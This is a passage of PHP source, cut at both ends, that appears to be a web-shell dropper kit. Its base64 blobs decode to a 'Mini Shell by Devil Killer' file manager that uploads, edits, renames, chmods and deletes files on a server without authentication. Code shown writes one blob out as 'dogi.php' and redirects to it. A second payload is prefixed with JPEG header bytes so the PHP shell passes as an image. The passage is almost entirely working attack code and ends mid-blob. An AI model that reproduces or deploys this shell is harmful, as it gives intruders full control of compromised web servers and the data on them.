yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCiAgICAgICAgICAgIGlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJibGFjayI+RGVsZXRlIEZpbGUgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBGaWxlIEVycm9yLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICBlY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KICAgIDx0ciBjbGFzcz0iZmlyc3QiPg0KICAgICAgICA8dGQ+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQogICAgICAgIDx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+T3B0aW9uczwvY2VudGVyPjwvdGQ+DQogICAgPC90cj4nOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIjx0cj4NCiAgICAgICAgPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+DQogICAgICAgIDx0ZD48Y2VudGVyPiI7DQogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsNCiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICANCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KICAgICAgICA8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPg0KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7DQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7DQogICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsNCiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOw0KICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsNCiAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOw0KICAgICAgICB9DQoNCiAgICAgICAgZWNobyAiPHRyPg0KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4iOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2NlbnRlcj48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQogICAgICAgIDxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KCSAgICA8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KICAgIDwvZGl2Pic7DQp9DQplY2hvICc8YnIgLz48Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+Q3JlYXQgQnkgPGZvbnQgY29sb3I9IndoaXRlIj5NaU5pIFNoZUxMPC9mb250PjxiciAvPkVtYWlsOiA8Zm9udCBjb2xvcj0id2hpdGUiPmRldmlsa2lsbGVyQGdtYWlsLmNvbTwvZm9udD4NCjwvQk9EWT4NCjwvSFRNTD4nOw0KZnVuY3Rpb24gcGVybXMoJGZpbGUpew0KICAgICRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCiAgICAvLyBTb2NrZXQNCiAgICAkaW5mbyA9ICdzJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCiAgICAvLyBTeW1ib2xpYyBMaW5rDQogICAgJGluZm8gPSAnbCc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7DQogICAgLy8gUmVndWxhcg0KICAgICRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KICAgIC8vIEJsb2NrIHNwZWNpYWwNCiAgICAkaW5mbyA9ICdiJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCiAgICAvLyBEaXJlY3RvcnkNCiAgICAkaW5mbyA9ICdkJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsNCiAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KICAgIC8vIEZJRk8gcGlwZQ0KICAgICRpbmZvID0gJ3AnOw0KfSBlbHNlIHsNCiAgICAvLyBVbmtub3duDQogICAgJGluZm8gPSAndSc7DQp9DQoNCi8vIE93bmVyDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gR3JvdXANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBXb3JsZA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCiAgICByZXR1cm4gJGluZm87DQp9DQo/Pg==
- ";
- $blackscorpionS1 = @fopen("dogi.php", "w");
- @fwrite($blackscorpionS1, base64_decode($dogi));
- @fclose($blackscorpionS1);
- header("Location:dogi.php");
- }
- if (isset($_POST['minifud'])) {
- $minifud = "w7/DmMO/w6AgEEpGSUYgAQIgIGQgZCAgw7/DrCARRHVja3kgASAEICAgZCAgw7/DriAOQWRvYmUgZMOAICAgAcO/w5sgwoQgAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDw7/DvifDsQ0KPD8NCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCmZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7DQokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsNCn0NCn0NCmVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbCBCeSBBa0RrPC90aXRsZT4NCjxzdHlsZT4NCmJvZHl7DQpmb250LWZhbWlseTogIk9yYml0cm9uIjsNCmJhY2tncm91bmQtY29sb3I6ICM1OEZDOEM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Ow0KfQ0KI2NvbnRlbnQgdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOw0KdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7DQp9DQojY29udGVudCAuZmlyc3R7DQpiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQp9DQojY29udGVudCAuZmlyc3Q6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Ow0KfQ0KdGFibGV7DQpib3JkZXI6IDFweCAjMDAwMDAwIGRvdHRlZDsNCn0NCkgxew0KZm9udC1mYW1pbHk6ICJPcmJpdHJvbiI7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgd2lkdGg9MzMgaGVpZ2h0PTQ0IHNyYz0iaHR0cDovL3d3dy5zaGVydi5uZXQvY20vZW1vdGljb25zL2hlbGxvL3J1ZGUtZ3JlZXRpbmdzLXNtaWxleS1lbW90aWNvbi5naWYiPg0KIE1pbmkgc2hlbGwgYnkgRGV2aWwgS2lsbGVyIDxpbWcgd2lkdGg9MzMgaGVpZ2h0PTQ0IHNyYz0iaHR0cDovL3d3dy5zaGVydi5uZXQvY20vZW1vdGljb25zL2hlbGxvL3J1ZGUtZ3JlZXRpbmdzLXNtaWxleS1lbW90aWNvbi5naWYiPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQppZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsNCiRhID0gdHJ1ZTsNCmVjaG8gJzxhIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsNCmNvbnRpbnVlOw0KfQ0KaWYoJHBhdCA9PSAnJykgY29udGludWU7DQplY2hvICc8YSBocmVmPSI/cGF0aD0nOw0KZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsNCmVjaG8gIiRwYXRoc1skaV0iOw0KaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCn0NCmVjaG8gJyI+Jy4kcGF0Lic8L2E+Lyc7DQp9DQplY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nOw0KaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7DQppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBmYWlsZWQhIEZ1Y2shIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4nOw0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7DQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7DQplY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+Q2hhbmdlIFBlcm1pc3Npb24gRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7DQp9DQp9DQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOw0KfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsNCmlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7DQppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkNoYW5nZSBOYW1lIEVycm9yLjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0icmVuYW1lIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOw0KfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7DQppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkVkaXQgRmlsZSBEb25lIF5fXi48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsNCn0NCmVjaG8gJzwvY2VudGVyPic7DQp9ZWxzZXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsNCmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsNCmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5EZWxldGUgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCn0NCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCjx0ciBjbGFzcz0iZmlyc3QiPg0KPHRkPjxjZW50ZXI+TmFtZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPk9wdGlvbnM8L2NlbnRlcj48L3RkPg0KPC90cj4nOw0KDQpmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpew0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQplY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9wYXRoPSRwYXRoLyRkaXJcIj4kZGlyPC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KZWNobyBwZXJtcygiJHBhdGgvJGRpciIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPg0KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KPC9mb3JtPjwvY2VudGVyPjwvdGQ+DQo8L3RyPiI7DQp9DQplY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7DQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCmlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsNCiRzaXplID0gZmlsZXNpemUoIiRwYXRoLyRmaWxlIikvMTAyNDsNCiRzaXplID0gcm91bmQoJHNpemUsMyk7DQppZigkc2l6ZSA+PSAxMDI0KXsNCiRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsNCn1lbHNlew0KJHNpemUgPSAkc2l6ZS4nIEtCJzsNCn0NCg0KZWNobyAiPHRyPg0KPHRkPjxhIGhyZWY9XCI/ZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsNCmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250I